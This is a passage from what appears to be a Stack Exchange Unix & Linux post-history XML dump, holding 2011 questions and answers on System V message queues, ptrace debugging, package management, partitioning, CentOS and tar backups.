queue mechanism based on System V IPC's message queue, extending it by some functionalities:&#xD;&#xA;&#xD;&#xA; - Simple file-based interface to the application&#xD;&#xA; - Support for message priorities&#xD;&#xA; - Support for asynchronous notification&#xD;&#xA; - Timeouts for blocking operations&#xD;&#xA;&#xD;&#xA;See [ipc/mqueue.c][5]&#xD;&#xA;&#xD;&#xA;**Example**&#xD;&#xA;&#xD;&#xA;`util-linux` provides some programs for analyzing and modifying message queues and the POSIX specification gives some C examples:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Create message queue with ipcmk, generally you would do this by calling C functions like `ftok()` and `msgget()`:&#xD;&#xA;&#xD;&#xA;    $ ipcmk -Q&#xD;&#xA;&#xD;&#xA;Lets see what happened by using `ipcs` or with `cat /proc/sysvipc/msg`:&#xD;&#xA;&#xD;&#xA;    $ ipcs -q&#xD;&#xA;&#xD;&#xA;    ------ Message Queues --------&#xD;&#xA;    key        msqid      owner      perms      used-bytes   messages    &#xD;&#xA;    0x33ec1686 65536      user       644        0            0           &#xD;&#xA;&#xD;&#xA;Now fill the queue with some messages:&#xD;&#xA;&#xD;&#xA;    $ cat &lt;&lt;EOF &gt;msg_send.c&#xD;&#xA;    #include &lt;string.h&gt;&#xD;&#xA;    #include &lt;sys/msg.h&gt; &#xD;&#xA;    &#xD;&#xA;    int main() {&#xD;&#xA;      int msqid = 65536;&#xD;&#xA;      struct message {&#xD;&#xA;        long type;&#xD;&#xA;        char text[20];&#xD;&#xA;      } msg;&#xD;&#xA;&#xD;&#xA;      msg.type = 1;&#xD;&#xA;      strcpy(msg.text, &quot;This is message 1&quot;);&#xD;&#xA;      msgsnd(msqid, (void *) &amp;msg, sizeof(msg.text), IPC_NOWAIT);&#xD;&#xA;      strcpy(msg.text, &quot;This is message 2&quot;);&#xD;&#xA;      msgsnd(msqid, (void *) &amp;msg, sizeof(msg.text), IPC_NOWAIT);&#xD;&#xA;&#xD;&#xA;      return 0;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;Again, you generally do not hardcode the msqid in the code.&#xD;&#xA;&#xD;&#xA;    $ gcc -o msg_send msg_send.c&#xD;&#xA;    $ ./msg_send&#xD;&#xA;    $ ipcs -q&#xD;&#xA;&#xD;&#xA;    ------ Message Queues --------&#xD;&#xA;    key        msqid      owner      perms      used-bytes   messages    &#xD;&#xA;    0x33ec1686 65536      user       644        40           2        &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And the other side, which will be receiving the messages:&#xD;&#xA;&#xD;&#xA;    $ cat &lt;&lt;EOF &gt;msg_recv.c&#xD;&#xA;    #include &lt;stdio.h&gt;&#xD;&#xA;    #include &lt;sys/msg.h&gt;&#xD;&#xA;    &#xD;&#xA;    int main() {&#xD;&#xA;      int msqid = 65536;&#xD;&#xA;      struct message {&#xD;&#xA;        long type;&#xD;&#xA;        char text[20];&#xD;&#xA;      } msg;&#xD;&#xA;      long msgtyp = 0;&#xD;&#xA;&#xD;&#xA;      msgrcv(msqid, (void *) &amp;msg, sizeof(msg.text), msgtyp, MSG_NOERROR | IPC_NOWAIT);&#xD;&#xA;      printf(&quot;%s \n&quot;, msg.text);&#xD;&#xA;&#xD;&#xA;      return 0;&#xD;&#xA;    }&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;See what happens:&#xD;&#xA;&#xD;&#xA;    $ gcc -o msg_recv msg_recv.c&#xD;&#xA;    $ ./msg_recv&#xD;&#xA;    This is message 1&#xD;&#xA;    $ ./msg_recv&#xD;&#xA;    This is message 2&#xD;&#xA;    $ ipcs -q&#xD;&#xA;&#xD;&#xA;    ------ Message Queues --------&#xD;&#xA;    key        msqid      owner      perms      used-bytes   messages    &#xD;&#xA;    0x33ec1686 65536      user       644        0            0           &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After two receives, the queue is empty again.&#xD;&#xA;&#xD;&#xA;Remove it afterwards by specifying the key (`-Q`) or msqid (`-q`):&#xD;&#xA;&#xD;&#xA;    $ ipcrm -q 65536&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.37/include/linux/msg.h&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.37/ipc/msg.c&#xD;&#xA;  [3]: http://lxr.linux.no/#linux+v2.6.37/include/linux/msg.h&#xD;&#xA;  [4]: http://tldp.org/LDP/lpg/node27.html&#xD;&#xA;  [5]: http://lxr.linux.no/#linux+v2.6.37/ipc/mqueue.c" />
  <row Id="16009" PostHistoryTypeId="5" PostId="6930" RevisionGUID="c72be560-7b9f-47d4-b36e-c40061539e1b" CreationDate="2011-02-05T13:26:33.170" UserId="3069" Comment="added 4 characters in body; edited tags; edited title" Text="I would like to know how Message Queues are implemented in the Linux Kernel. " />
  <row Id="16010" PostHistoryTypeId="4" PostId="6930" RevisionGUID="c72be560-7b9f-47d4-b36e-c40061539e1b" CreationDate="2011-02-05T13:26:33.170" UserId="3069" Comment="added 4 characters in body; edited tags; edited title" Text="How is a message queue implemented in the Linux kernel?" />
  <row Id="16011" PostHistoryTypeId="6" PostId="6930" RevisionGUID="c72be560-7b9f-47d4-b36e-c40061539e1b" CreationDate="2011-02-05T13:26:33.170" UserId="3069" Comment="added 4 characters in body; edited tags; edited title" Text="élinuxàékernelàémessageöqueueà" />
  <row Id="16012" PostHistoryTypeId="2" PostId="6936" RevisionGUID="4c6be367-1636-4936-b5eb-53b859f391dd" CreationDate="2011-02-05T13:36:06.327" UserId="4477" Text="There is a system call named [ptrace][1]. It takes 4 parameters: the operation, the PID of the target process, an address in the target process memory, and a data pointer. The way the last 2 parameters are used is dependent on the operation.&#xD;&#xA;&#xD;&#xA;For example you can attach/detach your debugger to a process:&#xD;&#xA;&#xD;&#xA;    ptrace(PTRACE_ATTACH, pid, 0, 0);&#xD;&#xA;    ...&#xD;&#xA;    ptrace(PTRACE_DETACH, pid, 0, 0);&#xD;&#xA;&#xD;&#xA;Single step execution:&#xD;&#xA;&#xD;&#xA;    ptrace(PTRACE_ATTACH, pid, 0, 0);&#xD;&#xA;    int status;&#xD;&#xA;    waitpid(pid, &amp;status, WSTOPPED);&#xD;&#xA;    while (...) {&#xD;&#xA;        ptrace(PTRACE_SINGLESTEP, pid, 0, 0);&#xD;&#xA;        // give the user a chance to do something&#xD;&#xA;    }&#xD;&#xA;    ptrace(PTRACE_DETACH, pid, 0, 0);&#xD;&#xA;    &#xD;&#xA;You can also read/write the memory of the target process with PTRACE_PEEKDATA and PTRACE_POKEDATA. If you want to see a real example check out [gdb][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/2/ptrace&#xD;&#xA;  [2]: http://www.gnu.org/software/gdb/" />
  <row Id="16013" PostHistoryTypeId="2" PostId="6937" RevisionGUID="c5f1bdda-89a3-4c39-bd15-5bf563be5b87" CreationDate="2011-02-05T13:58:51.103" UserId="3389" Text="What you need to do is download the latest kernel from kernel.org, do a `make menuconfig` and just look through the options, and use that as a starting point for research and investigation.  You'll learn a lot." />
  <row Id="16014" PostHistoryTypeId="25" PostId="6933" RevisionGUID="b8d7b554-d53c-490d-8ec4-40f8f0b25330" CreationDate="2011-02-05T14:16:30.303" Comment="http://twitter.com/#!/StackUnix/status/33891717501419520" />
  <row Id="16015" PostHistoryTypeId="2" PostId="6938" RevisionGUID="2e9b6146-3d34-4aeb-88f3-b9c6c78f3dad" CreationDate="2011-02-05T14:32:37.997" UserId="2573" Text="What does *uni* mean in **unistd.h**&#xD;&#xA;&#xD;&#xA;Does it mean unix? or universal?  &#xD;&#xA;What is it?&#xD;&#xA;" />
  <row Id="16016" PostHistoryTypeId="1" PostId="6938" RevisionGUID="2e9b6146-3d34-4aeb-88f3-b9c6c78f3dad" CreationDate="2011-02-05T14:32:37.997" UserId="2573" Text="What does 'uni' mean in unistd.h" />
  <row Id="16017" PostHistoryTypeId="3" PostId="6938" RevisionGUID="2e9b6146-3d34-4aeb-88f3-b9c6c78f3dad" CreationDate="2011-02-05T14:32:37.997" UserId="2573" Text="éunixàéfilenamesàéterminologyàéposixàéheaderöfileà" />
  <row Id="16018" PostHistoryTypeId="2" PostId="6939" RevisionGUID="ea95e84e-d063-40ce-94eb-48f7d2c762db" CreationDate="2011-02-05T15:18:42.260" UserId="2511" Text="The stuff in there is largely Unix-idiom (`chown`, `fork`, `gethostname`, `nice`), so I'm guessing that it originally did mean Unix. It's part of the POSIX standard, though, so it's no longer just Unix." />
  <row Id="16019" PostHistoryTypeId="2" PostId="6940" RevisionGUID="54e27fdc-e500-45cc-bb23-7bf6fadae858" CreationDate="2011-02-05T15:19:30.173" UserId="2573" Text="**The sad story**&#xD;&#xA;&#xD;&#xA;    [root@localhost root]# gcc homework.c -o homework.c&#xD;&#xA;    [root@localhost root]#&#xD;&#xA;    [root@localhost root]# ls&#xD;&#xA;    homework.c&#xD;&#xA;    [root@localhost root]# &#xD;&#xA;" />
  <row Id="16020" PostHistoryTypeId="2" PostId="6941" RevisionGUID="f8a9ed3f-de99-48e5-a733-8cec59943cd1" CreationDate="2011-02-05T15:49:54.437" UserId="4491" Text="If I recall correctly,&#xD;&#xA;&#xD;&#xA;    pacman -S package&#xD;&#xA;&#xD;&#xA;installs a package&#xD;&#xA;&#xD;&#xA;    pacman -Rs package&#xD;&#xA;&#xD;&#xA;removes a package and all its dependencies---but only those that wouldn't break other packages and only those that you didn't explicitly install.&#xD;&#xA;&#xD;&#xA;Checkout the pacman man page. &#xD;&#xA;&#xD;&#xA;I unfortunatly don't know how to check for broken packages." />
  <row Id="16021" PostHistoryTypeId="2" PostId="6942" RevisionGUID="6f825607-c0d4-482a-a9a1-55fe6bdc109d" CreationDate="2011-02-05T15:52:48.177" UserId="4490" Text="I've accidentally created a file named `°`. Now I'm having trouble deleting it with bash.&#xD;&#xA;&#xD;&#xA;    [/opt/etc/sudoers.d] # ls -l&#xD;&#xA;    -r--r-----    1 admin    administ       21 Feb  3 23:54 010-root&#xD;&#xA;    -rw-r--r--    1 admin    administ       20 Feb  3 23:50 °&#xD;&#xA;&#xD;&#xA;Typing `rm °` seems to only move the caret to the beginning of the line, i.e. no character is entered.&#xD;&#xA;&#xD;&#xA;(For what it's worth I'm running bash 3.2.0 on a remote machine conntected with SSH using Mac OSX Terminal)&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="16022" PostHistoryTypeId="1" PostId="6942" RevisionGUID="6f825607-c0d4-482a-a9a1-55fe6bdc109d" CreationDate="2011-02-05T15:52:48.177" UserId="4490" Text="How do I delete a file named &quot;°&quot; in bash" />
  <row Id="16023" PostHistoryTypeId="3" PostId="6942" RevisionGUID="6f825607-c0d4-482a-a9a1-55fe6bdc109d" CreationDate="2011-02-05T15:52:48.177" UserId="4490" Text="élinuxàébashàéfilenamesà" />
  <row Id="16024" PostHistoryTypeId="2" PostId="6943" RevisionGUID="8606d7e8-7396-4137-a5c9-bc0a91bc6ed8" CreationDate="2011-02-05T16:06:39.757" UserId="1535" Text="I'm working out a partition scheme for a new install.  I'd like to keep the root filesystem fairly small and static, so that I can use LVM snapshots to do backups without having to allocate a ton of space for the snapshot.&#xD;&#xA;&#xD;&#xA;However, I'd also like to keep the number of total partitions small.  Even with LVM, there's inevitably some wasted space and it's still annoying and vaguely dangerous to allocate more.&#xD;&#xA;&#xD;&#xA;So there seem to be a couple of different options:&#xD;&#xA;&#xD;&#xA;-   Have the partition that will contain bulky, variable files, like `/srv`, `/var`, and `/home`, be the root partition, and arrange for the core system state — `/etc`, `/usr`, `/lib`, etc. — to live in a second partition.  These files can (I think) be backed up using a different backup scheme, and I don't think LVM snapshots will be necessary for them.&#xD;&#xA;&#xD;&#xA;-   The opposite: putting the big variable directories on the second partition, and having the essential system directories live on the root FS.&#xD;&#xA;&#xD;&#xA;Either of these options require that certain directories be pointers of some variety to subdirectories of a second partition.  I'm aware of two different ways to do this: symlinks and bind-mounts.  Is one better than the other for this purpose?  Is there another option?  Do some linux distros support installation using this style of partition layout?" />
  <row Id="16025" PostHistoryTypeId="1" PostId="6943" RevisionGUID="8606d7e8-7396-4137-a5c9-bc0a91bc6ed8" CreationDate="2011-02-05T16:06:39.757" UserId="1535" Text="Keeping multiple root directories in a single partition" />
  <row Id="16026" PostHistoryTypeId="3" PostId="6943" RevisionGUID="8606d7e8-7396-4137-a5c9-bc0a91bc6ed8" CreationDate="2011-02-05T16:06:39.757" UserId="1535" Text="éinstallàépartitionàébackupàésymlinkà" />
  <row Id="16027" PostHistoryTypeId="2" PostId="6944" RevisionGUID="72012207-b573-4bd2-aab6-69c065a7a13e" CreationDate="2011-02-05T16:24:30.700" UserId="3142" Text="How about?&#xD;&#xA;&#xD;&#xA;    rm -i ?&#xD;&#xA;&#xD;&#xA;I think this should work...&#xD;&#xA;" />
  <row Id="16028" PostHistoryTypeId="2" PostId="6945" RevisionGUID="0d2d65ad-a893-490c-9ffc-0f82a5682c40" CreationDate="2011-02-05T16:52:42.590" UserId="489" Text="What makes CentOS &quot;enterprisey&quot; compared to &quot;generic&quot; distributions like Ubuntu?&#xD;&#xA;&#xD;&#xA;When I say &quot;enterprisey&quot; I actually mean &quot;better for server deployments&quot;. Just a general question, because I was thinking of hosting a web application on my computer (which runs Ubuntu) and came upon a page that said that CentOS had 30% market share for servers. Of course, that doesn't exactly indicate that it's better in anyway, so I just wanted to ask." />
  <row Id="16029" PostHistoryTypeId="1" PostId="6945" RevisionGUID="0d2d65ad-a893-490c-9ffc-0f82a5682c40" CreationDate="2011-02-05T16:52:42.590" UserId="489" Text="What makes CentOS &quot;enterprisey&quot; compared to &quot;generic&quot; distributions like Ubuntu?" />
  <row Id="16030" PostHistoryTypeId="3" PostId="6945" RevisionGUID="0d2d65ad-a893-490c-9ffc-0f82a5682c40" CreationDate="2011-02-05T16:52:42.590" UserId="489" Text="écentosàéserverà" />
  <row Id="16031" PostHistoryTypeId="25" PostId="6938" RevisionGUID="ca5e871f-1d26-4809-9d60-61e4afade090" CreationDate="2011-02-05T17:16:30.053" Comment="http://twitter.com/#!/StackUnix/status/33937017054175232" />
  <row Id="16032" PostHistoryTypeId="2" PostId="6946" RevisionGUID="86b124fb-121a-4783-bfee-5d515bf89dac" CreationDate="2011-02-05T17:28:20.260" UserId="4493" Text="I'm trying to figure out why the graphical login prompt won't show up at the login page. I see the wallpaper just fine, but the graphical login prompt wont show up no matter how long I wait.&#xD;&#xA;&#xD;&#xA;So, In the console, I've done `init 3` to shut down gdm and then restarted it with `init 5`. The problem still persists. &#xD;&#xA;&#xD;&#xA;I downloaded and installed kdm and set it as the default display manager through editing `/etc/systemconfig/displaymanager`. It worked fine, except that the main menu and many other items in the panels are gone. So I removed gdm with zypper and then reinstalled it again. I set the gdm as the default display manager and restarted gdm. The same problem shows up again. So I tried to bypass the login page entirely by enabling autologin. I put my username in the autologin section of `/etc/systemconfig/displaymanager` and restarted gdm. No go, I still get the same problem.&#xD;&#xA;&#xD;&#xA;I'm thinking it mightn't be gdm related and that something else is interfering with gdm startup, but I'm stumped at this point. Any ideas? " />
  <row Id="16033" PostHistoryTypeId="1" PostId="6946" RevisionGUID="86b124fb-121a-4783-bfee-5d515bf89dac" CreationDate="2011-02-05T17:28:20.260" UserId="4493" Text="gdm graphical login prompt problem (OpenSUSE 11.2)" />
  <row Id="16034" PostHistoryTypeId="3" PostId="6946" RevisionGUID="86b124fb-121a-4783-bfee-5d515bf89dac" CreationDate="2011-02-05T17:28:20.260" UserId="4493" Text="égnomeàéopensuseàégdmà" />
  <row Id="16035" PostHistoryTypeId="2" PostId="6947" RevisionGUID="c1dc5937-7b41-42a0-9bd1-2d89042e55cd" CreationDate="2011-02-05T17:36:21.207" UserId="3635" Text="CentOS is a free derivative of [Red Hat Enterprise Linux][1], which is targeted at the &quot;enterprise&quot; market, so it is specifically design for deployment on a variety of platforms such as servers, etc. To target that market, the distribution is probably going to focus more on older, stable versions of packages rather than including anything bleeding-edge. Security will also be a focus.&#xD;&#xA;&#xD;&#xA;Check out the RHEL [Server Features and Benefits][2] and [Desktop Features][3] pages for detailed information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.redhat.com/rhel/&#xD;&#xA;  [2]: http://www.redhat.com/rhel/server/features/&#xD;&#xA;  [3]: http://www.redhat.com/rhel/desktop/#features" />
  <row Id="16036" PostHistoryTypeId="2" PostId="6948" RevisionGUID="dbcdb1aa-fa8e-45a9-8f1a-175b2ecb728e" CreationDate="2011-02-05T17:40:25.633" UserId="4494" Text="I'm running OpenSuse 11.3 X64. I have installed apache2, PHP5 and MySQL in order to do some web-design offline e.g. they are for internal network use only. There is also phpMyAdmin installed. The default directory for the &quot;server&quot; is `/srv/www/htdocs`. &#xD;&#xA;&#xD;&#xA;To access a specific site in progress I create a subfolder there then just navigate via `http://10.13.23.201/NAMEOFFOLDER` from my internal network. At least that is how it should work but it doesn't. I created a new folder called wlc so it's directory is `/srv/www/htdocs/wlc` however when I go to the address `http://10.13.23.201/wlc` I get a Remote Server Or File Not Found error from my browser, there is files in there ,`index.php`, that should load and apache has been set to recognize *.php files. &#xD;&#xA;&#xD;&#xA;I know the theory should work as I can access `/srv/www/htdocs/phpMyAdmin` by going to `http://10.13.23.201/phpMyAdmin` and it loads just fine. Also the error is different if I go to a folder that doesn't exist for example `http://10.13.23.201/THISFOLERDOESNTEXISIT` will return an Object Not Found error.  &#xD;&#xA;&#xD;&#xA;" />
  <row Id="16037" PostHistoryTypeId="1" PostId="6948" RevisionGUID="dbcdb1aa-fa8e-45a9-8f1a-175b2ecb728e" CreationDate="2011-02-05T17:40:25.633" UserId="4494" Text="Local Apache Not Recongnizing New Folder" />
  <row Id="16038" PostHistoryTypeId="3" PostId="6948" RevisionGUID="dbcdb1aa-fa8e-45a9-8f1a-175b2ecb728e" CreationDate="2011-02-05T17:40:25.633" UserId="4494" Text="éopensuseàéserveràéapacheà" />
  <row Id="16039" PostHistoryTypeId="5" PostId="6945" RevisionGUID="0b380913-eaa3-41d3-a63d-e4a0ce6b76cc" CreationDate="2011-02-05T18:00:20.687" UserId="489" Comment="added 938 characters in body" Text="What makes CentOS &quot;enterprisey&quot; compared to &quot;generic&quot; distributions like Ubuntu?&#xD;&#xA;&#xD;&#xA;When I say &quot;enterprisey&quot; I actually mean &quot;better for server deployments&quot;. Just a general question, because I was thinking of hosting a web application on my computer (which runs Ubuntu) and came upon a page that said that CentOS had 30% market share for servers. Of course, that doesn't exactly indicate that it's better in anyway, so I just wanted to ask.&#xD;&#xA;&#xD;&#xA;Edit&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;There's another thing I really fail to understand ... most of these distributions, use the same applications, have the same package manager, and all of them are powered by the same kernel. Where's the difference, then?&#xD;&#xA;&#xD;&#xA;RHEL's &quot;happy text page&quot; says:&#xD;&#xA;&#xD;&#xA;1. more secure applications&#xD;&#xA;2. protection against commonly exploited security flaws, e.g. buffer overflows integrated in the standard software stack&#xD;&#xA;3. highest-grade protection via the SELinux security feature. Protects system services from attacks, full transparency and is easy to extend and adopt.&#xD;&#xA;4. smartcard authentication support&#xD;&#xA;&#xD;&#xA;Questions&#xD;&#xA;---------&#xD;&#xA;1. How? Unless RHEL somehow has modified versions of the software stack that you'll be using (in my case, Python and SQLite3), there wouldn't be any difference.&#xD;&#xA;2. Doesn't every other distribution claim that?&#xD;&#xA;3. I've heard about problems concerning SELinux. Would like to know more about it.&#xD;&#xA;4. ?" />
  <row Id="16040" PostHistoryTypeId="2" PostId="6949" RevisionGUID="3fd971b6-9d26-4220-ac5b-543e3ce1b806" CreationDate="2011-02-05T18:07:46.417" UserId="3976" Text="One of the things that RHEL/CentOS (and other Enterprise Linux products) provides that other distros don't provide is API/ABI stability.  This is a frustration to a lot of people who are new to RHEL, because all they see is that the versions available are all older than the latest releases found in the latest release of Ubuntu/Fedora/Gentoo/Whatever.  But, if you're supporting a product that was deployed on an RHEL box, you don't have to worry about the underlying technology the product uses having it's API change (with new versions of apache, php, perl, python, glibc, whatever).  This even applies to most kernel modules provided for RHEL.&#xD;&#xA;&#xD;&#xA;As an example, if I've developed a web application that runs on RHEL 5.0, I can be fairly certain that it will continue to run on RHEL 5.6 two years later, all the while the RHEL system has been getting security updates and bug fixes the whole time." />
  <row Id="16041" PostHistoryTypeId="5" PostId="6880" RevisionGUID="8fbcb89c-03d4-4d81-b967-e8c51d082f9a" CreationDate="2011-02-05T18:37:43.230" UserId="2642" Comment="typo" Text="Definitely review security with a good Linux Security Checklist as the first order of business. SANS publishes [a nice one][1].&#xD;&#xA;&#xD;&#xA;Second step is to get rid of packages that you won't use.&#xD;&#xA;&#xD;&#xA;Third step is df -h and record how much disk space the install uses.&#xD;&#xA;&#xD;&#xA;And then fourth step is to tar up the entire disk using the --exclude option to exclude the output tarball. For instance: `tar --exclude=all.tar.gz cvf - / | gzip -9 &gt;all.tar.gz`&#xD;&#xA;&#xD;&#xA;Then download it and use it to make a clone system, more or less, that runs on Virtualbox or whatever VM environment you use. From this point on, test changes on the VM before applying to your VPS and take regular data backups. Don't change anything on the VM or the VPS without writing it down on paper in a logbook. Even the smallest change should be recorded. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.sans.org/score/checklists/linuxchecklist.pdf" />
  <row Id="16042" PostHistoryTypeId="2" PostId="6950" RevisionGUID="4818d656-dcfa-4f4b-a127-4c964821faf7" CreationDate="2011-02-05T19:12:25.413" UserId="4495" Text="Hi,&#xD;&#xA;&#xD;&#xA;The KDE install on my PC includes IBus and the Japanese Anthy IME.  In the IBus preference, I have enabled the Anthy IME.  The IBus daemon is running and there is an IBus icon in the system tray, however, there does not appear to be any way of switching IMEs.&#xD;&#xA;&#xD;&#xA;What am I doing wrong here?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="16043" PostHistoryTypeId="1" PostId="6950" RevisionGUID="4818d656-dcfa-4f4b-a127-4c964821faf7" CreationDate="2011-02-05T19:12:25.413" UserId="4495" Text="How to use IBus with kde" />
  <row Id="16044" PostHistoryTypeId="3" PostId="6950" RevisionGUID="4818d656-dcfa-4f4b-a127-4c964821faf7" CreationDate="2011-02-05T19:12:25.413" UserId="4495" Text="ékdeàéinputömethodà" />
  <row Id="16045" PostHistoryTypeId="2" PostId="6951" RevisionGUID="f12af0b3-8424-40bc-9da5-490c37b560f0" CreationDate="2011-02-05T19:51:52.870" UserId="4481" Text="I have a CentOS 5.5 installation with the stock CentOS 5.5 kernel. I have modified the init script in the initrd, commenting out some unneeded modules, lowering the interval time of the &quot;stabilized&quot; command , etc.  &#xD;&#xA;&#xD;&#xA;My question is, what will happen in the future when Yum updates the kernel?  Will my initrd modifications make it into the initrd of the new kernel?&#xD;&#xA;" />
  <row Id="16046" PostHistoryTypeId="1" PostId="6951" RevisionGUID="f12af0b3-8424-40bc-9da5-490c37b560f0" CreationDate="2011-02-05T19:51:52.870" UserId="4481" Text="Will a &quot;customized&quot; initrd survive a kernel update via yum?" />
  <row Id="16047" PostHistoryTypeId="3" PostId="6951" RevisionGUID="f12af0b3-8424-40bc-9da5-490c37b560f0" CreationDate="2011-02-05T19:51:52.870" UserId="4481" Text="élinuxàébootàéinitrdà" />
  <row Id="16048" PostHistoryTypeId="25" PostId="6945" RevisionGUID="c182d431-b9f8-4d11-8c12-411397188f69" CreationDate="2011-02-05T20:16:29.540" Comment="http://twitter.com/#!/StackUnix/status/33982313511518208" />
  <row Id="16049" PostHistoryTypeId="5" PostId="827" RevisionGUID="289ff10d-08b6-4212-b36c-f7333d425a13" CreationDate="2011-02-05T20:42:47.553" UserId="4195" Comment="typo in aptitude, also backticks" Text="As mentioned be http://pthree.org/2007/08/12/aptitude-vs-apt-get/, `aptitude` has a much easier to use command-line interface.&#xD;&#xA;&#xD;&#xA;&gt; Under the hood, aren't they using the same APT system? &#xD;&#xA;Yes.&#xD;&#xA;&#xD;&#xA;The underlying system is not just `apt`, but `dpkg`. This system is just as dumb as RPM, it can only handle the installation and administration of single packages. It tracks which installed files belong to which package.&#xD;&#xA;&#xD;&#xA;`apt` handles the downloads of repositories, tracking of dependencies, and so on for all individual packages - which it then installs using `dpkg`. `aptitude` does the same, with a different interface." />
  <row Id="16050" PostHistoryTypeId="24" PostId="827" RevisionGUID="c17aff4b-ea97-4b01-9d46-6b3146f1ca0c" CreationDate="2011-02-05T20:42:47.553" Comment="Proposed by 4195 approved by 73 edit id of 13" />
  <row Id="16054" PostHistoryTypeId="2" PostId="6953" RevisionGUID="91af78f4-60eb-4871-a0af-f563f507e692" CreationDate="2011-02-05T21:27:13.547" UserId="4206" Text="As you see in this dumpe2fs -h output (snipped the end, left the head in case s.th. is important), I have more (about 86000 more, in fact) Free blocks than are reserved, but I get a &quot;no space on device&quot; error even for a little tiny file (echoing s.th. into a file for testing).&#xD;&#xA;&#xD;&#xA;Color me stumped.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;dumpe2fs 1.41.12 (17-May-2010)&#xD;&#xA;Filesystem volume name:   &lt;none&gt;&#xD;&#xA;Last mounted on:          &lt;not available&gt;&#xD;&#xA;Filesystem UUID:          b7d8fde6-faa4-4c13-b310-32f302cc6db6&#xD;&#xA;Filesystem magic number:  0xEF53&#xD;&#xA;Filesystem revision #:    1 (dynamic)&#xD;&#xA;Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super large_file&#xD;&#xA;Filesystem flags:         signed_directory_hash&#xD;&#xA;Default mount options:    (none)&#xD;&#xA;Filesystem state:         clean&#xD;&#xA;Errors behavior:          Continue&#xD;&#xA;Filesystem OS type:       Linux&#xD;&#xA;Inode count:              9707520&#xD;&#xA;Block count:              38808000&#xD;&#xA;Reserved block count:     1940400&#xD;&#xA;Free blocks:              2026361&#xD;&#xA;Free inodes:              9583170&#xD;&#xA;First block:              0&#xD;&#xA;Block size:               4096&#xD;&#xA;Fragment size:            4096&#xD;&#xA;Reserved GDT blocks:      1014&#xD;&#xA;Blocks per group:         32768&#xD;&#xA;Fragments per group:      32768&#xD;&#xA;Inodes per group:         8192&#xD;&#xA;Inode blocks per group:   512&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;" />
  <row Id="16055" PostHistoryTypeId="1" PostId="6953" RevisionGUID="91af78f4-60eb-4871-a0af-f563f507e692" CreationDate="2011-02-05T21:27:13.547" UserId="4206" Text="More free blocks than reserved, but still I get &quot;no space on device&quot;" />
  <row Id="16056" PostHistoryTypeId="3" PostId="6953" RevisionGUID="91af78f4-60eb-4871-a0af-f563f507e692" CreationDate="2011-02-05T21:27:13.547" UserId="4206" Text="édisköusageà" />
  <row Id="16057" PostHistoryTypeId="2" PostId="6954" RevisionGUID="e011d8d3-9912-4b70-9cdc-f0d22767d4a4" CreationDate="2011-02-05T21:39:20.723" UserId="4358" Text="Well for starters, your root partition *MUST* contain '/', '/bin', '/sbin', '/lib', and '/etc'. You can not put these on a separate partition as they are all needed during the boot process before other filesystems are mounted up. (though you can do some messy initrd stuff to get around this, but it'll be a pain when you want to perform some simple task like modify your fstab)&#xD;&#xA;&#xD;&#xA;After that, if you want to put the other directories on other partitions you can. Mount bind is the cleaner method of doing this as if you were symlinking, and some task want to look at the free space on /usr, it will query it, only to get the free space on the root partition instead. While I dont know of anything off the top of my head that would do this, the solution is less prone to problems than symlinking." />
  <row Id="16058" PostHistoryTypeId="2" PostId="6955" RevisionGUID="e2e938a6-572c-443d-bcdc-e457bd8c0693" CreationDate="2011-02-05T21:43:11.197" UserId="4078" Text="If you type `man man` in your shell, you will see the list of the manual sections &#xD;&#xA;&#xD;&#xA;&gt; 2 System calls (functions provided by&#xD;&#xA;&gt; the kernel)&#xD;&#xA;&#xD;&#xA;&gt; 3 Library calls (functions&#xD;&#xA;&gt; within program libraries)&#xD;&#xA;&#xD;&#xA;For instance, you will find `chmod` in the section 2 of the manual when typing `man chmod`. And `fprintf` in the section 3." />
  <row Id="16060" PostHistoryTypeId="2" PostId="6956" RevisionGUID="1f27e116-dd8f-4d39-80da-fbd41b0a419e" CreationDate="2011-02-05T22:25:40.107" UserId="4501" Text="A really good video to watch is:&#xD;&#xA;http://peepcode.com/products/meet-emacs&#xD;&#xA;&#xD;&#xA;Does an excellent job of covering all the basics, but it'll cost some money to get.&#xD;&#xA;&#xD;&#xA;I asked a similar question on StackOverflow and rather then me copying everything over check out:&#xD;&#xA;&#xD;&#xA;http://stackoverflow.com/questions/2393787/any-good-emacs-intro-videos" />
  <row Id="16061" PostHistoryTypeId="2" PostId="6957" RevisionGUID="474ea153-f783-40b5-b267-1fb69ce31db7" CreationDate="2011-02-05T22:44:22.673" UserId="1207" Text="[Emacs][1] has the ability to show fonts with different faces, colors, and sizes in the same buffer.  For instance, the following is produced by the AUCTeX major-mode, a useful mode for those who use LaTeX to create documents:&#xD;&#xA;&#xD;&#xA;![Example of an Emacs Major Mode][2]&#xD;&#xA;&#xD;&#xA;The two search terms that will be helpful are &quot;font-locking&quot; and &quot;major mode&quot;. Essentially, to accomplish this in Emacs you would have to write your own major mode.  Unfortunately, this basically amounts to you having to &quot;fiddle and twiddle with syntax-highlighting&quot;, but on steroids.&#xD;&#xA;&#xD;&#xA;For your particular purpose, the most difficult part will be properly displaying the Devanagari script.  Everything else is relatively straight forward.  The best places to get started are the EmacsWiki and the Emacs Manual.  The following links might be useful:&#xD;&#xA; &#xD;&#xA; - [Emacs Manual:Major-Modes](http://www.gnu.org/software/emacs/elisp/html_node/Major-Modes.html#Major-Modes)&#xD;&#xA; - [EmacsWiki: Mode Tutoria](http://www.emacswiki.org/emacs/ModeTutorial)&#xD;&#xA; - [EmacsWiki: Derived Mode](http://www.emacswiki.org/emacs/DerivedMode)&#xD;&#xA; - 